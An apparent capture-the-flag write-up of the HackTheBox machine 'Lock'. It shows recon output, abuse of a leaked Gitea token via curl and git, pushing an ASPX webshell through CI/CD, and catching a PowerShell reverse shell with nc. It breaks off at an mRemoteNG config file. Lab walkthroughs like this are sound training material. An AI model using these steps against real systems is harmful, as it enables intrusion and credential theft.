Lock

Lock starts with a Gitea instance where I’ll find an API token in an old commit. I’ll use that to access a private repo for the website. The repo is setup with CI/CD so that the production website is updated when the repo changes. I’ll add an ASPX webshell and get a foothold on the box. I’ll find a mRemoteNG config file and decrypt it to get the next user’s password and RDP access. From there I’ll exploit a vulnerability in the pdf24 installer repair functionality by putting a lock on a log file it wants to write, and running it. When a cmd.exe window hangs open, I’ll abuse a few steps to get a cmd.exe running as SYSTEM.

Box Info

Name Lock Lock
Play on HackTheBox
Release Date 21 Aug 2025
Retire Date 21 Aug 2025
OS Windows Windows
Base Points Easy [20]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creators xct
kozmer

Recon

Initial Scanning

nmap finds four open TCP ports, HTTP (80, 3000), SMB (445), and RDP (3389):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 20:23 UTC
...[snip]...
Scanned at 2025-08-15 20:23:12 UTC for 13s
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON
80/tcp   open  http          syn-ack ttl 127
445/tcp  open  microsoft-ds  syn-ack ttl 127
3000/tcp open  ppp           syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
           Raw packets sent: 131079 (5.767MB) | Rcvd: 14 (600B)
oxdf@hacky$ nmap -p 80,445,3000,3389 -sCV 10.129.234.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 20:24 UTC
Nmap scan report for 10.129.234.64
Host is up (0.091s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Lock - Index
445/tcp  open  microsoft-ds?
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=2212747db187de4d; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=Ip28VVc-sj5pyfscTYff-l6raHQ6MTc1NTI4OTQ3NzM5NzkwMDUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 15 Aug 2025 20:24:37 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=7e9cbbabd1bd8fba; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=oXtAV8JGDSCEr5-B8W17rXg_dyU6MTc1NTI4OTQ4MzE3NzE2NzUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 15 Aug 2025 20:24:43 GMT
|_    Content-Length: 0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-08-15T20:26:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2025-04-15T00:34:47
|_Not valid after:  2025-10-15T00:34:47
| rdp-ntlm-info:
|   Target_Name: LOCK
|   NetBIOS_Domain_Name: LOCK
|   NetBIOS_Computer_Name: LOCK
|   DNS_Domain_Name: Lock
|   DNS_Computer_Name: Lock
|   Product_Version: 10.0.20348
|_  System_Time: 2025-08-15T20:26:01+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/15%Time=689F9784%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,3000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=2212747db187de4d;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=Ip28VVc-sj5pyfscTYff-l6raHQ6MTc1NTI4OTQ3NzM5NzkwMDUwMA;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2015\x20Aug\x202025\x2020:24:37\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x
SF:20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:
SF:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHR
SF:lYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3Rhcn
SF:RfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwO
SF:i8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9w
SF:bmciLCJzaXplcyI6IjU")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,1A4,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20HEAD\r\nAllow:\x2
SF:0GET\r\nCache-Control:\x20max-age=0,\x20private,\x20must-revalidate,\x2
SF:0no-transform\r\nSet-Cookie:\x20i_like_gitea=7e9cbbabd1bd8fba;\x20Path=
SF:/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csrf=oXtAV8JGDSCEr5-
SF:B8W17rXg_dyU6MTc1NTI4OTQ4MzE3NzE2NzUwMA;\x20Path=/;\x20Max-Age=86400;\x
SF:20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\
SF:x20Fri,\x2015\x20Aug\x202025\x2020:24:43\x20GMT\r\nContent-Length:\x200
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-08-15T20:26:03
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.16 seconds

The box looks to be Windows (SMB and RDP). RDP shows the hostname as LOCK, though it doesn’t appear to be part of an Active Directory domain.

On port 3000, it sets a cookie Set-Cookie: i_like_gitea=2212747db187de4d, which suggests a Gitea instance.

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

Website - TCP 80

Site

The site is for a company that provides document editing services:

image-20250815171436519 expand

All of the links lead to anchors on the index page, so nothing else to explore.

Tech Stack

The HTTP response headers show the server is running ASP.NET:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 28 Dec 2023 14:07:59 GMT
Accept-Ranges: bytes
ETag: "675cb2439739da1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Fri, 15 Aug 2025 21:32:31 GMT
Content-Length: 16054

The main page loads as /index.html, suggesting a static site. The 404 page is the default IIS 404:

image-20250815171701035

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html since there’s an index.html and with a lowercase wordlist as IIS is not case sensitive:

oxdf@hacky$ feroxbuster -u http://10.129.234.64 -x html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt --dont-extract-links

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.234.64
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      347l     1183w    16054c http://10.129.234.64/
301      GET        2l       10w      158c http://10.129.234.64/aspnet_client => http://10.129.234.64/aspnet_client/
301      GET        2l       10w      151c http://10.129.234.64/assets => http://10.129.234.64/assets/
301      GET        2l       10w      154c http://10.129.234.64/assets/js => http://10.129.234.64/assets/js/
301      GET        2l       10w      155c http://10.129.234.64/assets/css => http://10.129.234.64/assets/css/
301      GET        2l       10w      155c http://10.129.234.64/assets/img => http://10.129.234.64/assets/img/
200      GET      347l     1183w    16054c http://10.129.234.64/index.html
301      GET        2l       10w      163c http://10.129.234.64/assets/img/clients => http://10.129.234.64/assets/img/clients/
301      GET        2l       10w      165c http://10.129.234.64/assets/img/portfolio => http://10.129.234.64/assets/img/portfolio/
301      GET        2l       10w      168c http://10.129.234.64/assets/img/testimonials => http://10.129.234.64/assets/img/testimonials/
301      GET        2l       10w      158c http://10.129.234.64/assets/vendor => http://10.129.234.64/assets/vendor/
301      GET        2l       10w      161c http://10.129.234.64/assets/img/slide => http://10.129.234.64/assets/img/slide/
404      GET       42l      157w     1914c http://10.129.234.64/con
404      GET       42l      157w     1928c http://10.129.234.64/aspnet_client/con
404      GET       42l      157w     1921c http://10.129.234.64/assets/con
404      GET       42l      157w     1925c http://10.129.234.64/assets/img/con
404      GET       42l      157w     1924c http://10.129.234.64/assets/js/con
404      GET       42l      157w     1925c http://10.129.234.64/assets/css/con
404      GET       42l      157w     1933c http://10.129.234.64/assets/img/clients/con
404      GET       42l      157w     1935c http://10.129.234.64/assets/img/portfolio/con
404      GET       42l      157w     1938c http://10.129.234.64/assets/img/testimonials/con
404      GET       42l      157w     1928c http://10.129.234.64/assets/vendor/con
404      GET       42l      157w     1931c http://10.129.234.64/assets/img/slide/con
404      GET       42l      157w     1914c http://10.129.234.64/aux
404      GET       42l      157w     1921c http://10.129.234.64/assets/aux
404      GET       42l      157w     1928c http://10.129.234.64/aspnet_client/aux
404      GET       42l      157w     1925c http://10.129.234.64/assets/img/aux
404      GET       42l      157w     1924c http://10.129.234.64/assets/js/aux
404      GET       42l      157w     1925c http://10.129.234.64/assets/css/aux
404      GET       42l      157w     1933c http://10.129.234.64/assets/img/clients/aux
404      GET       42l      157w     1935c http://10.129.234.64/assets/img/portfolio/aux
404      GET       42l      157w     1938c http://10.129.234.64/assets/img/testimonials/aux
404      GET       42l      157w     1928c http://10.129.234.64/assets/vendor/aux
404      GET       42l      157w     1931c http://10.129.234.64/assets/img/slide/aux
301      GET        2l       10w      169c http://10.129.234.64/aspnet_client/system_web => http://10.129.234.64/aspnet_client/system_web/
301      GET        2l       10w      162c http://10.129.234.64/assets/vendor/aos => http://10.129.234.64/assets/vendor/aos/
404      GET       42l      157w     1939c http://10.129.234.64/aspnet_client/system_web/con
404      GET        0l        0w     1245c http://10.129.234.64/assets/img/apa
400      GET        6l       26w      324c http://10.129.234.64/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/aspnet_client/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/aspnet_client/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/img/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/img/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/css/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/js/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/css/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/js/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/img/clients/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/img/clients/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/img/portfolio/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/img/portfolio/error%1F_log.html
404      GET       42l      157w     1932c http://10.129.234.64/assets/vendor/aos/con
400      GET        6l       26w      324c http://10.129.234.64/assets/img/testimonials/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/img/testimonials/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/vendor/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/vendor/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/img/slide/error%1F_log
404      GET       42l      157w     1914c http://10.129.234.64/prn
404      GET       42l      157w     1939c http://10.129.234.64/aspnet_client/system_web/aux
400      GET        6l       26w      324c http://10.129.234.64/assets/img/slide/error%1F_log.html
404      GET       42l      157w     1928c http://10.129.234.64/aspnet_client/prn
404      GET       42l      157w     1921c http://10.129.234.64/assets/prn
404      GET       42l      157w     1925c http://10.129.234.64/assets/css/prn
404      GET       42l      157w     1925c http://10.129.234.64/assets/img/prn
404      GET       42l      157w     1924c http://10.129.234.64/assets/js/prn
404      GET       42l      157w     1933c http://10.129.234.64/assets/img/clients/prn
404      GET       42l      157w     1935c http://10.129.234.64/assets/img/portfolio/prn
404      GET       42l      157w     1938c http://10.129.234.64/assets/img/testimonials/prn
404      GET       42l      157w     1928c http://10.129.234.64/assets/vendor/prn
404      GET       42l      157w     1932c http://10.129.234.64/assets/vendor/aos/aux
404      GET       42l      157w     1931c http://10.129.234.64/assets/img/slide/prn
400      GET        6l       26w      324c http://10.129.234.64/aspnet_client/system_web/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/aspnet_client/system_web/error%1F_log.html
400      GET        6l       26w      324c http://10.129.234.64/assets/vendor/aos/error%1F_log
400      GET        6l       26w      324c http://10.129.234.64/assets/vendor/aos/error%1F_log.html
404      GET       42l      157w     1939c http://10.129.234.64/aspnet_client/system_web/prn
404      GET       42l      157w     1932c http://10.129.234.64/assets/vendor/aos/prn
[####################] - 8m    345592/345592  0s      found:80      errors:1
[####################] - 7m     26584/26584   68/s    http://10.129.234.64/
[####################] - 7m     26584/26584   68/s    http://10.129.234.64/aspnet_client/
[####################] - 7m     26584/26584   68/s    http://10.129.234.64/assets/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/js/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/css/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/img/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/img/clients/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/img/portfolio/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/img/testimonials/
[####################] - 7m     26584/26584   67/s    http://10.129.234.64/assets/vendor/
[####################] - 6m     26584/26584   69/s    http://10.129.234.64/assets/img/slide/
[####################] - 5m     26584/26584   97/s    http://10.129.234.64/aspnet_client/system_web/
[####################] - 4m     26584/26584   108/s   http://10.129.234.64/assets/vendor/aos/ 

I also often use --dont-extract-links because it clogs up the output with stuff that isn’t interesting. Nothing interesting here.

Gitea - TCP 3000

The webserver on 3000 is hosting an instance of Gitea:

image-20250815172156869

Under “Explore”, there’s one public repo:

image-20250815172217045

It has a single file, and two commits:

image-20250815172250296

The script is for listing repos on the Gitea instance using the API:

import requests
import sys
import os

def format_domain(domain):
    if not domain.startswith(('http://', 'https://')):
        domain = 'https://' + domain
    return domain

def get_repositories(token, domain):
    headers = {
        'Authorization': f'token {token}'
    }
    url = f'{domain}/api/v1/user/repos'
    response = requests.get(url, headers=headers)

    if response.status_code == 200:
        return response.json()
    else:
        raise Exception(f'Failed to retrieve repositories: {response.status_code}')

def main():
    if len(sys.argv) < 2:
        print("Usage: python script.py <gitea_domain>")
        sys.exit(1)

    gitea_domain = format_domain(sys.argv[1])

    personal_access_token = os.getenv('GITEA_ACCESS_TOKEN')
    if not personal_access_token:
        print("Error: GITEA_ACCESS_TOKEN environment variable not set.")
        sys.exit(1)

    try:
        repos = get_repositories(personal_access_token, gitea_domain)
        print("Repositories:")
        for repo in repos:
            print(f"- {repo['full_name']}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

It reads the API key from the OS environment variables. However, the diff for the second of the two commits shows that originally it had a hardcoded API key:

image-20250815173444145

Shell as ellen.freeman

Enumerate Gitea

Repos

The script with the key leaked from the commit works to enumerate repos:

oxdf@hacky$ export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f
oxdf@hacky$ python repos.py http://10.129.234.64:3000
Repositories:
- ellen.freeman/dev-scripts
- ellen.freeman/website

There are two, including the public repo I am accessing. I don’t really need this script. curl works too:

oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/user/repos -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .
[
  {
    "id": 1,
    "owner": {
      "id": 2,
      "login": "ellen.freeman",
      "login_name": "",
      "full_name": "",
      "email": "ellen.freeman@lock.vl",
      "avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2023-12-27T11:13:10-08:00",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "ellen.freeman"
    },
    "name": "dev-scripts",
    "full_name": "ellen.freeman/dev-scripts",
    "description": "",
    "empty": false,
    "private": false,
    "fork": false,
    "template": false,
    "parent": null,
    "mirror": false,
    "size": 29,
    "language": "Python",
    "languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts/languages",
    "html_url": "http://localhost:3000/ellen.freeman/dev-scripts",
    "url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts",
    "link": "",
    "ssh_url": "ellen.freeman@localhost:ellen.freeman/dev-scripts.git",
    "clone_url": "http://localhost:3000/ellen.freeman/dev-scripts.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 1,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2023-12-27T11:17:47-08:00",
    "updated_at": "2023-12-27T11:36:42-08:00",
    "archived_at": "1969-12-31T16:00:00-08:00",
    "permissions": {
      "admin": true,
      "push": true,
      "pull": true
    },
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "has_releases": true,
    "has_packages": true,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_rebase_update": true,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "repo_transfer": null
  },
  {
    "id": 5,
    "owner": {
      "id": 2,
      "login": "ellen.freeman",
      "login_name": "",
      "full_name": "",
      "email": "ellen.freeman@lock.vl",
      "avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2023-12-27T11:13:10-08:00",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "ellen.freeman"
    },
    "name": "website",
    "full_name": "ellen.freeman/website",
    "description": "",
    "empty": false,
    "private": true,
    "fork": false,
    "template": false,
    "parent": null,
    "mirror": false,
    "size": 7370,
    "language": "CSS",
    "languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/languages",
    "html_url": "http://localhost:3000/ellen.freeman/website",
    "url": "http://localhost:3000/api/v1/repos/ellen.freeman/website",
    "link": "",
    "ssh_url": "ellen.freeman@localhost:ellen.freeman/website.git",
    "clone_url": "http://localhost:3000/ellen.freeman/website.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 1,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2023-12-27T12:04:52-08:00",
    "updated_at": "2024-01-18T10:17:46-08:00",
    "archived_at": "1969-12-31T16:00:00-08:00",
    "permissions": {
      "admin": true,
      "push": true,
      "pull": true
    },
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "has_releases": true,
    "has_packages": true,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_rebase_update": true,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "repo_transfer": null
  }
]

website Enumeration

The API is fully documented at /api/swagger:

image-20250816122536352

For example, I can list the contents of a repo:

image-20250816122839609

That works:

oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/repos/ellen.freeman/website/contents -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq -r .[].name
assets
changelog.txt
index.html
readme.md

I can grab the readme.md:

oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/repos/ellen.freeman/website/contents/readme.md -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .
{
  "name": "readme.md",
  "path": "readme.md",
  "sha": "69e5754e65607d08739dd57d2c70f378d8d051c1",
  "last_commit_sha": "657a342b7a68f195f421c5750b837dfa390ea6c1",
  "type": "file",
  "size": 130,
  "encoding": "base64",
  "content": "IyBOZXcgUHJvamVjdCBXZWJzaXRlCgpDSS9DRCBpbnRlZ3JhdGlvbiBpcyBub3cgYWN0aXZlIC0gY2hhbmdlcyB0byB0aGUgcmVwb3NpdG9yeSB3aWxsIGF1dG9tYXRpY2FsbHkgYmUgZGVwbG95ZWQgdG8gdGhlIHdlYnNlcnZlcg==",
  "target": null,
  "url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/contents/readme.md?ref=main",
  "html_url": "http://localhost:3000/ellen.freeman/website/src/branch/main/readme.md",
  "git_url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/git/blobs/69e5754e65607d08739dd57d2c70f378d8d051c1",
  "download_url": "http://localhost:3000/ellen.freeman/website/raw/branch/main/readme.md",
  "submodule_git_url": null,
  "_links": {
    "self": "http://localhost:3000/api/v1/repos/ellen.freeman/website/contents/readme.md?ref=main",
    "git": "http://localhost:3000/api/v1/repos/ellen.freeman/website/git/blobs/69e5754e65607d08739dd57d2c70f378d8d051c1",
    "html": "http://localhost:3000/ellen.freeman/website/src/branch/main/readme.md"
  }
}

The contents is stored base64 encoded. I’ll decode it:

oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/repos/ellen.freeman/website/contents/readme.md -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .content -r | base64 -d
# New Project Website

CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver

The simplest path forward is to clone the repo using the token in the URL:

oxdf@hacky$ git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git
Cloning into 'website'...
remote: Enumerating objects: 165, done.
remote: Counting objects: 100% (165/165), done.
remote: Compressing objects: 100% (128/128), done.
remote: Total 165 (delta 35), reused 153 (delta 31), pack-reused 0
Receiving objects: 100% (165/165), 7.16 MiB | 1.75 MiB/s, done.
Resolving deltas: 100% (35/35), done.
oxdf@hacky$ ls website/
assets  changelog.txt  index.html  readme.md

Shell

Upload Webshell

With access to the site source, and a message that says that CICD is working to re-publish anything that’s pushed, I’ll make a webshell, commit it, and push it.

I noted above that the site headers showed it was running ASP.NET. I’ll grab an ASPX webshell from GitHub and save a copy in the repo. It shows as not tracked by Git:

oxdf@hacky$ git status 
On branch main
Your branch is up to date with 'origin/main'.

Untracked files:
  (use "git add <file>..." to include in what will be committed)
        0xdf.aspx

nothing added to commit but untracked files present (use "git add" to track)

I’ll add it and commit it:

oxdf@hacky$ git add 0xdf.aspx 
oxdf@hacky$ git commit -m "nothing to see here"
[main 55df164] nothing to see here
 1 file changed, 161 insertions(+)
 create mode 100644 0xdf.aspx

If git returns an error about not having an identity, I’ll run the commands it gives to set an arbitrary email and name, and commit again. Now I push, sending it to the server:

oxdf@hacky$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 12 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 2.07 KiB | 2.07 MiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://10.129.234.64:3000/ellen.freeman/website.git
   73cdcc1..55df164  main -> main

Within a few seconds, it’s on the site:

image-20250816124003573

Reverse Shell

I’ll get a reverse shell by grabbing a copy of PowerShell #3 (Base64) from revshells.com and pasting it into the box next to the “Execute” button. At my nc, I get a shell:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.64 65320

PS C:\inetpub\wwwroot> whoami
lock\ellen.freeman

Shell as gale.dekarios

Enumeration

Home Directories

There’s one other interesting non-admin user with a home directory in /Users:

PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/27/2023   2:00 PM                .NET v4.5
d-----        12/27/2023   2:00 PM                .NET v4.5 Classic
d-----        12/27/2023  12:01 PM                Administrator
d-----        12/28/2023  11:36 AM                ellen.freeman
d-----        12/28/2023   6:14 AM                gale.dekarios
d-r---        12/27/2023  10:21 AM                Public  

ellen.freeman has access to their directory and Public:

PS C:\Users> tree /f .
Folder PATH listing
Volume serial number is 0000022C 8592:A9D9
C:\USERS
+---.NET v4.5
+---.NET v4.5 Classic
+---Administrator
+---ellen.freeman
?   ?   .git-credentials
?   ?   .gitconfig
?   ?   
?   +---.ssh
?   ?       authorized_keys
?   ?       
?   +---3D Objects
?   +---Contacts
?   +---Desktop
?   +---Documents
?   ?       config.xml
?   ?       
?   +---Downloads
?   +---Favorites
?   ?   ?   Bing.url
?   ?   ?   
?   ?   +---Links
?   +---Links
?   ?       Desktop.lnk
?   ?       Downloads.lnk
?   ?       
?   +---Music
?   +---Pictures
?   +---Saved Games
?   +---Searches
?   +---Videos
+---gale.dekarios
+---Public
    +---Documents
    +---Downloads
    +---Music
    +---Pictures
    +---Videos

There’s nothing in Public, but there is a file in their Documents folder that could be interesting.

config.xml

This file is an mRemoteNG connection configuration file (the second line has a reference to the mRemoteNG website):

<?xml version="1.0" encoding="utf-8"?>
